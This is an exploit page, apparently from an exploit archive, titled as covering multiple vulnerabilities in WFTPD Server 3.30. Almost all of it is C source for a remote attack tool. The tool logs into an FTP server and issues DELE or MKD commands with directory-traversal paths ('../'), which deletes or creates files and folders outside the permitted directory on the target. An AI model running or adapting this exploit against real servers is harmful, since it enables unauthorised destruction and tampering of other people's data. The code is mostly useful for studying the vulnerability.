WFTPD Server 3.30 – Multiple Vulnerabilities
#include<stdio.h> #include<sys/types.h> #include<sys/socket.h> #include<netinet/in.h> #include<unistd.h> #define ALOC(tip,n) (tip*)malloc(sizeof(tip)*n) #define POCNAME "[*]WFTPD 3.30 Multiple remote vulnerabilities(0day)" #define AUTHOR "[*]fl0 fl0w" typedef int i32; typedef char i8; typedef short i16; enum { True=1, False=0, Error=-1 }; struct { i8 *USERx, *PASSx, *HOST; i16 PORTx; }def; i8 *USER=0,*PASS=0,*dir=0,*host_addr=0, sendbytes[250],recev[250]; i16 PORT=0,option; i32 args(i32 argc,i8** argv){ i32 i; argc--; for(i=1;i<argc;i++){ switch(argv[i][1]){ case 'h': host_addr=argv[++i]; break; case 'u': USER=argv[++i]; break; case 'w': PASS=argv[++i]; break; case 'p': PORT=atoi(argv[++i]); break; case 'o': option=atoi(argv[++i]); break; default:{ printf("error with argument nr %d:(%s)\n",i,argv[i]); return Error; exit(0); } } } // printf(" %s\n %s\n %s\n %d\n %d\n %s\n",host_addr,USER,PASS,PORT,option,argv[argc]); return 1; } void bf_error(i8* B){ i32 e; if(B==NULL) e=0; else e=1; } void syntax(){ i8 *help[]={"\t-h hostname", "\t-u Username", "\t-w watchword(password)", "\t-p port(default 21)", "\t-o option:", "\t 1 - delete folder,files", "\t 2 - make folder", "\t ../ move up 1 dir ../../ move up 2 dirs etc" /*directory transversal*/ }; i32 i; size_t com=sizeof help / sizeof help[0]; for(i=0;i<com;i++){ printf("%s\n",help[i]); } } void defaults(){ def.HOST="localhost"; def.PASSx="hacker"; def.USERx="anonymous"; def.PORTx=21; //printf("%s %s %s %d",def.HOST,def.PASSx,def.USERx,def.PORTx); } i32 main(i32 argc,i8** argv){ if(argc<3){ printf("%s\n%s\n",POCNAME,AUTHOR); printf("\tToo few arguments\n syntax is:\n"); syntax(); exit(0); } args(argc,argv); i32 sok, svcon, sokaddr; printf("[*]Starting \n \t...\n"); struct sockaddr_in sockaddr_sok; sokaddr = sizeof(sockaddr_sok); sockaddr_sok.sin_family = AF_INET; sockaddr_sok.sin_addr.s_addr = inet_addr(host_addr); sockaddr_sok.sin_port = htons(PORT); sok=socket(AF_INET,SOCK_STREAM,0); if(sok==-1){ printf("[*]FAILED SOCKET\n"); exit(0); } svcon=connect(sok,(struct sockaddr*)&sockaddr_sok,sokaddr); i8 use[10]; if(svcon!=-1){ sprintf(sendbytes, "USER %s\r\n",USER); if(send(sok,sendbytes,strlen(sendbytes),0) == -1){ printf("User send error\n"); shutdown(sok,1); exit(0); }else { memset(sendbytes,0,250); recv(sok,recev,sizeof(recev),0); } sprintf(sendbytes, "PASS %s\r\n",PASS); if(send(sok,sendbytes,strlen(sendbytes),0) == -1){ printf("Password send error\n"); shutdown(sok,1); exit(0); }else { memset(sendbytes,0,250); recv(sok,recev,sizeof(recev),0); printf("%s\n",recev); } sprintf(sendbytes, "SYST\r\n"); if(send(sok,sendbytes,strlen(sendbytes),0) == -1){ printf("Syst send error\n"); shutdown(sok,1); exit(0); }else { memset(sendbytes,0,250); recv(sok,recev,sizeof(recev),0); } if(option==1){ sprintf(sendbytes,"DELE %s\r\n",argv[11]); if(send(sok,sendbytes,strlen(sendbytes),0) == -1){ printf("Syst send error\n"); shutdown(sok,1); exit(0); }else { memset(sendbytes,0,250); recv(sok,recev,sizeof(recev),0); } }else if(option==2){ sprintf(sendbytes,"MKD %s\r\n",argv[11]); if(send(sok,sendbytes,strlen(sendbytes),0) == -1){ printf("Syst send error\n"); shutdown(sok,1); exit(0); }else { memset(sendbytes,0,250); recv(sok,recev,sizeof(recev),0); } } }else printf("Connect error\n"); printf("[*]Exploit done!"); return 0; } |